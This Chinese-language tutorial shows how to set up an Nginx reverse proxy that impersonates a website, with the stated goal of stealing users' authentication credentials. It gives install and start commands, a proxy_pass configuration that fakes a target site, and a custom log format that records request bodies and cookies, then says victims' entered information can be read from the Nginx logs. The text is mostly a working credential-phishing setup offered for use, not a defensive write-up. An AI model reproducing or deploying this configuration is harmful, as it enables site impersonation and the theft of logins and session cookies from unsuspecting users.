反向代理原理:
反向代理(reverse proxy)是指用代理服务器来接受外部的访问请求,然后将请求转发给内网的上游服务器,并将从上游服务器上得到的结果返回外部客户端。
如上所述,通过反向代理达到一个中间人的作用,也就可以获取用户和上游网站的通信流量,达到窃取认证凭证的目的。
Nginx安装:
Ubuntu安装命令:sudo apt-get install nginx -y
Centos安装命令:sudo yum install -y nginx
启动命令:
Ubuntu:service nginx start
Centos:systemctl start nginx.service
启动nginx后查看下状态,以ubuntu为例
service nginx status
反向代理文件配置:
访问反向代理配置文件如下
vim /etc/nginx/sites-enabled/reverse-proxy.conf
将下列代码加入到配置文件中 这里反代的网站以vulfocus.cn为例(反代的网站尽量不要选择大站因为大站存在反代限制)
server
{
listen 8089; # 监听端口
server_name 127.0.0.1; # 本机真实IP
location / {
proxy_pass https://vulfocus.cn/; # 反代的网站,即想要伪造的网站
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
access_log /var/log/nginx/access_log_8089.log testLog; # 日志保存位置,testLog为自定义的日志格式
}
配置完反向代理后进入nginx.conf进行配置
vim /etc/nginx/nginx.conf
加入以下代码进行日志记录
log_format testLog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie;
include /etc/nginx/sites-enabled/reverse-proxy.conf;
配置完后进行nginx重启
service nginx restart
访问开启的反代站点进行验证
日志查看:
进入nginx日志存储地址查看日志信息 便可看到输入的用户信息
cd /var/log/nginx/